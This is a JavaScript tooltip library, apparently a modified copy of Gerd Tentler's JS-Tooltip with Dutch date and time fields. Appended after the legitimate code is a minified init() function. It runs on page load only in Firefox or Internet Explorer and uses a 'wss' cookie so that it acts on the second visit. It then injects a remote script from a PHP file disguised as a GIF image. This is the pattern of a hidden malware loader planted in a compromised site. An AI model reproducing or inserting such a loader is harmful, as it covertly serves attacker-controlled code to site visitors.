/*
 +-------------------------------------------------------------------+
 |                   J S - T O O L T I P   (v2.2)                    |
 |                                                                   |
 | Copyright Gerd Tentler               www.gerd-tentler.de/tools    |
 | Created: Feb. 15, 2005               Last modified: Feb. 22, 2009 |
 +-------------------------------------------------------------------+
 | This program may be used and hosted free of charge by anyone for  |
 | personal purpose as long as this copyright notice remains intact. |
 |                                                                   |
 | Obtain permission before selling the code for this program or     |
 | hosting this software on a commercial website or redistributing   |
 | this software over the Internet or in any other medium. In all    |
 | cases copyright must remain intact.                               |
 +-------------------------------------------------------------------+

======================================================================================================

 This script was tested with the following systems and browsers:

 - Windows XP: IE 6, NN 7, Opera 7 + 9, Firefox 2
 - Mac OS X:   IE 5, Safari 1

 If you use another browser or system, this script may not work for you - sorry.

------------------------------------------------------------------------------------------------------

 USAGE:

 Use the toolTip-function with mouse-over and mouse-out events (see example below).

 - To show a tooltip, use this syntax: toolTip(text, width in pixels, opacity in percent)
   Note: width and opacity are optional. Opacity is not supported by all browsers.

 - To hide a tooltip, use this syntax: toolTip()

------------------------------------------------------------------------------------------------------

 EXAMPLE:

 <a href="#" onMouseOver="toolTip('Just a test', 150)" onMouseOut="toolTip()">some text here</a>

======================================================================================================
*/

var OP = (navigator.userAgent.indexOf('Opera') != -1);
var IE = (navigator.userAgent.indexOf('MSIE') != -1 && !OP);
var GK = (navigator.userAgent.indexOf('Gecko') != -1);
var SA = (navigator.userAgent.indexOf('Safari') != -1);
var DOM = document.getElementById;

var tooltip = null;

function TOOLTIP() {
//----------------------------------------------------------------------------------------------------
// Configuration
//----------------------------------------------------------------------------------------------------
    this.width = 500;                     // width (pixels)
    this.bgColor = '#ffffff';             // background color
    this.textColor = '#000000';           // text color
    this.borderColor = '#663366';         // border color
    this.opacity = 100;                   // opacity (percent) - doesn't work with all browsers
    this.cursorDistance = 10;              // distance from cursor (pixels)
    this.xPos = 'right';                  // horizontal position: "left" or "right"
    this.yPos = 'bottom';                 // vertical position: "top" or "bottom"

    // don't change
    this.dag_text = 'dag_text';
    this.dag_nr = 'dag_nr';
    this.mnd_text = 'mnd_text';
    this.v_tijd = 'v_tijd';
    this.t_tijd = 't_tijd';
    this.kop = 'kop';
    this.text = 'tekst';
    this.height = 0;
    this.obj = 0;
    this.sobj = 0;
    this.active = false;

// -------------------------------------------------------------------------------------------------------
// Functions
// -------------------------------------------------------------------------------------------------------
  this.create = function() {
    if(!this.obj) this.init();

    var s = (this.textFont ? 'font-family:' + this.textFont + '; ' : '') +
            (this.textSize ? 'font-size:' + this.textSize + 'px; ' : '') +
            (this.border ? 'border:' + this.border + '; ' : '') +
            (this.textColor ? 'color:' + this.textColor + '; ' : '');

      var t = '<table style="border-style:solid; border-color:' + this.borderColor + '; border-width: 1px; background-color: #ffffff; " cellspacing=0 cellpadding=4 width=' + this.width + '>' +
              '<tr>' +
              '<td align=left width=120 bgcolor=#663366 >' +
              '<table border=0 cellspacing=1 width=100% ><tr>' + 
              '<td style="color: #FFFFFF; font-size:12px;" align=center >' + this.dag_text + '<br />' + this.dag_nr + '<br />' + this.mnd_text + '</td>' +
              '<td style="color: #FFFFFF; font-size:12px;" align=center >'; 
              
              if (this.v_tijd != this.t_tijd) {
               t = t + 'v: '+ this.v_tijd +'<br />t: ' + this.t_tijd;  
              }
              
              t = t + '</td></tr></table>' + 
              '</td>' +
              '<td align=left style="border-style:solid; border-color:' + this.borderColor + '; border-width: 1px; background-color: #ffffff; font-size:22px;" >' + this.kop + '</td></tr>' +
              '<tr><td align=left style="border-style:solid; border-color:' + this.borderColor + '; border-width: 1px; background-color: #ffffff; " colspan=2 >' + this.text + '</td></tr></table>';

    if(DOM || IE) this.obj.innerHTML = t;
    if(DOM) this.height = this.obj.offsetHeight;
    else if(IE) this.height = this.obj.style.pixelHeight;
    if(this.bgColor) this.obj.style.backgroundColor = this.bgColor;

    this.setOpacity();
    this.move();
    this.show();
  }

  this.init = function() {
    if(DOM) this.obj = document.getElementById('ToolTip');
    else if(IE) this.obj = document.all.ToolTip;
  }

  this.move = function() {
    var winX = getWinX() - (((GK && !SA) || OP) ? 17 : 0);
    var winY = getWinY() - (((GK && !SA) || OP) ? 17 : 0);
    var x = mouseX;
    var y = mouseY;

    if(this.xPos == 'left') {
      if(x - this.width - this.cursorDistance >= getScrX())
        x -= this.width + this.cursorDistance;
      else x += this.cursorDistance;
    }
    else {
      if(x + this.width + this.cursorDistance > winX + getScrX())
        x -= this.width + this.cursorDistance;
      else x += this.cursorDistance;
    }

    if(this.yPos == 'top') {
      if(y - this.height - this.cursorDistance >= getScrY())
        y -= this.height + this.cursorDistance;
      else y += this.cursorDistance;
    }
    else {
      if(y + this.height + this.cursorDistance > winY + getScrY())
        y -= this.height;
      else y += this.cursorDistance;
    }

    this.obj.style.left = x + 'px';
    this.obj.style.top = y + 'px';
  }

  this.show = function() {
    this.obj.style.zIndex = 69;
    this.active = true;
    this.obj.style.visibility = 'visible';
  }

  this.hide = function() {
    this.obj.style.zIndex = -1;
    this.active = false;
    this.obj.style.visibility = 'hidden';
  }

  this.setOpacity = function() {
    this.obj.style.opacity = this.opacity / 100;
    this.obj.style.MozOpacity = this.opacity / 100;
    this.obj.style.KhtmlOpacity = this.opacity / 100;
    this.obj.style.filter = 'alpha(opacity=' + this.opacity + ')';
  }
}

//----------------------------------------------------------------------------------------------------
// Global functions
//----------------------------------------------------------------------------------------------------
function getScrX() {
  var offset = 0;
  if(window.pageXOffset)
    offset = window.pageXOffset;
  else if(document.documentElement && document.documentElement.scrollLeft)
    offset = document.documentElement.scrollLeft;
  else if(document.body && document.body.scrollLeft)
    offset = document.body.scrollLeft;
  return offset;
}

function getScrY() {
  var offset = 0;
  if(window.pageYOffset)
    offset = window.pageYOffset;
  else if(document.documentElement && document.documentElement.scrollTop)
    offset = document.documentElement.scrollTop;
  else if(document.body && document.body.scrollTop)
    offset = document.body.scrollTop;
  return offset;
}

function getWinX() {
  var size = 0;
  if(window.innerWidth)
    size = window.innerWidth;
  else if(document.documentElement && document.documentElement.clientWidth)
    size = document.documentElement.clientWidth;
  else if(document.body && document.body.clientWidth)
    size = document.body.clientWidth;
  else size = screen.width;
  return size;
}

function getWinY() {
  var size = 0;
  if(window.innerHeight)
    size = window.innerHeight;
  else if(document.documentElement && document.documentElement.clientHeight)
    size = document.documentElement.clientHeight;
  else if(document.body && document.body.clientHeight)
    size = document.body.clientHeight;
  else size = screen.height;
  return size;
}

function getMouseXY(e) {
  if(e && e.pageX != null) {
    mouseX = e.pageX;
    mouseY = e.pageY;
  }
  else if(event && event.clientX != null) {
    mouseX = event.clientX + getScrX();
    mouseY = event.clientY + getScrY();
  }
  if(mouseX < 0) mouseX = 0;
  if(mouseY < 0) mouseY = 0;
  if(tooltip && tooltip.active) tooltip.move();
}

  function toolTip(dag_text, dag_nr, mnd_text, v_tijd, t_tijd, kop, text) {
    if(kop) {
      tooltip = new TOOLTIP();
      
      tooltip.dag_text = dag_text;
      tooltip.dag_nr = dag_nr;
      tooltip.mnd_text = mnd_text;
      tooltip.v_tijd = v_tijd;
      tooltip.t_tijd = t_tijd;
      tooltip.kop = kop;
      tooltip.text = text;
      
      tooltip.create();
    }
    else if(tooltip) tooltip.hide();
  }

//----------------------------------------------------------------------------------------------------
// Build tooltip box
//----------------------------------------------------------------------------------------------------
document.write('<div id="ToolTip" style="position:absolute; visibility:hidden"></div>');

//----------------------------------------------------------------------------------------------------
// Event handlers
//----------------------------------------------------------------------------------------------------
var mouseX = mouseY = 0;
document.onmousemove = getMouseXY;

//----------------------------------------------------------------------------------------------------


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/image/knop_up_ouders.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
